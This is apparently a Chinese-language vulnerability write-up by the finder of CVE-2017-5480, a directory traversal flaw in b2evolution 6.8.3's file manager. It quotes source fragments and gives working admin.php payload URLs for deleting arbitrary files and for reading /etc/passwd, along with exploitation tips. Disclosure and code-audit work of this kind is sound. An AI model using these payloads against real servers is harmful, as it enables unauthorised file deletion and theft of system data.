0x00前言
CVE-2017-5480,b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件。
0x01代码审计
1.安装
程序下载地址:6.8.3-stable
2.漏洞分析
具有后台访问权限的用户管理文件时,发出请求URL(以dave请求自己头像为例):1
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=dave.jpg&fm_sources_root=user_4
函数admin.php中部分源码:1
require $inc_path.$ctrl_mappings[$ctrl];
请求文件为:/b2evolution/inc/files/files.ctrl.php
文件files.ctrl.php的部分源码1
2
3
4
5
6
7if( ($edited_User = & $UserCache->get_by_ID( $user_ID, false )) === false )
{ // We could not find the contact to link:
$Messages->add( sprintf( T_('Requested «%s» object does not exist any longer.'), T_('User') ), 'error' );
unset( $edited_User );
forget_param( 'user_ID' );
unset( $user_ID );
}
可知至少需要具有文件编辑(editer)权限的用户才能成功利用
- files.ctrl.php中的任意文件删除漏洞代码:
1 | if( $confirmed ) |
任意文件删除漏洞代码利用Payload:1
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=delete&fm_selected[]=../../../../../../.././../../../../../../../../../../../../../../../../../../../../../../../../test.txt&crumb_file=FXTab96veYnFmNDbfHfVJ3BxCHq7NNs1
- files.ctrl.php中的任意文件读取漏洞代码:
1 | case 'copy': |
任意文件读取漏洞代码利用Payload:1
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=file_copy&fm_selected[]=../../../../../../../../../../../../../../../../../../etc/passwd&fm_sources_root=collection_6
files.ctrl.php中重命名时文件扩展名限制代码:1
2
3
4
5
6if( $check_error = check_rename( $new_names[$loop_src_File->get_md5_ID()], $loop_src_File->is_dir(), $loop_src_File->get_dir()allow_locked_filetypes ) )
{
$confirmed = 0;
param_error( 'new_names['.$loop_src_File->get_md5_ID().']', $check_error );
continue;
}
从源码由于文件扩展名限制,修改copy的文件名为*.txt才能copy成功任意文件,从而读取内容。
Tips:
- 文件编辑(editer)权限的用户才能成功利用
- 读文件时注意重命名文件为*.txt
0x02后记
黑盒测试+代码审计,最终成功提交第一个CVE漏洞,来张图记录一下过程